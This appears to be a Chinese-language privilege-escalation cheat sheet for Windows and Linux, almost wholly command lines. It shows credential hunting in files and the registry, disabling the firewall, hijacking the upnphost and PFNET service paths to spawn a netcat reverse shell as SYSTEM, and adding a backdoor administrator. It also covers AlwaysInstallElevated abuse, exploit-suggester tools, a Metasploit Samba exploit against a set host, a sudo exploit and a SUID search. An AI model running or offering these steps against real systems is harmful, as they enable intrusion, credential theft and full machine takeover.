常见信息收集
dir /a-r-d /s /b 检查文件夹可写状态
dir /b/s password.txt 查找密码文件或其它敏感文件
dir /b/s config.*
findstr /si password *.xml *.ini *.txt
findstr /si login *.xml *.ini *.txt
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
dir /s *pass* == *cred* == *vnc* == *.config* 搜索system32关键字的文件
findstr /si password *.xml *.ini *.txt 搜索某些特定的文件类型
reg query HKLM /f password /t REG_SZ /s 搜索注册表中包含password
reg query HKCU /f password /t REG_SZ /s
netsh firewall show config 显示 Windows 防火墙配置
netsh firewall show state 显示 Windows 防火墙的当前状态
netsh firewall set opmode disable 关闭防火墙
netsh advfilewall set publicprofile state off
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 获取操作系统信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
schtasks /query /fo LIST /v 计划任务 [国外调整 chcp 437]
route print 查看路由表
arp -A 查看ARP缓存
upnphost提权
sc qc Spooler 查询,配置,和管理Windows服务
accesschk.exe -ucqv Spooler 检查每个服务需要的权限 XP_SP2被修复
攻击手法:
sc qc upnphost
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost
执行netcat并且使用SYSTEM权限反弹一个shell
sc config PFNET binpath= "net user admin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators admin /add"
sc stop PFNET
sc start PFNET
服务与权限
DRIVERQUERY 安装驱动
wmic product list brief 查看安装程序和版本信息. [可能存在漏洞]
wmic service list brief 查看服务、进程和启动程序信息
wmic process list brief
wmic startup list brief
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看安装补丁和时间信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
wimc process where(description="进程名") 结合tasklist /svc
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ 列出目标机器上所有没有用引号包含的服务路径
tasklist /v /fo list /fi "USERNAME eq NT AUTHORITY\SYSTEM" 筛选NT AUTHORITY\SYSTEM权限进程
icacls "C:\Program Files (x86)\360" 查看路径中受影响文件夹的权限
补丁对应Exp
补丁对比 https://github.com/GDSSecurity/Windows-Exploit-Suggester
pip install xlrd --upgrade
./windows-exploit-suggester.py --update
[+] writing to file 2014-06-06-mssb.xlsx
输入“systeminfo”输入,并将其指向微软数据库
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
未修补漏洞存在的exp
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2'
AlwaysInstallElevated提权
http://www.greyhathacker.net/?p=185
如果这个设置被启用,它允许任何权限的用户暂时使用NT AUTHORITY\SYSTEM权限来安装*.msi文件。
AlwaysInstallElevated且它的DWORD值是1才有效。
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
可以利用Advanced Installer(http://www.advancedinstaller.com/)生成msi安装包
查看.msi程序的执行权限
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否设置有setuid和setgid
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
CVE-2017-1000367
系统必须启用selinux
sudo需要用selinux支持(sudo -r)
用户需要具有sudo权限
gcc -o sudopwn sudopwn.c -lutil
./sudopwn
枚举系统设置和权限的检查
http://www.securitysift.com/download/linuxprivchecker.py
基于操作系统的内核版本号
https://github.com/PenturaLabs/Linux_Exploit_Suggester
./Linux_Exploit_Suggester.pl -k 内核版本号[例如3.10,结合uname -a]
检测权限提升向量的shell脚本
https://github.com/pentestmonkey/unix-privesc-check
unix-privesc-check standard
unix-privesc-check detailed
下载和解压缩脚本RootHelper
https://github.com/NullArray/RootHelper
CVE-2017-7494[Samba]
http://fuping.site/2017/05/25/Samba-Remote-Code-Execution-Vulnerability-Replication/
use exploit/linux/samba/is_known_pipename
set RHOST 192.168.232.137
set target 3
exploit
内核提权
lsb_release -a
uname -a
python -c 'import pty; pty.spawn("/bin/bash")'
suid 提权 [有限制]
find / -perm -u=s -type f 2>/dev/null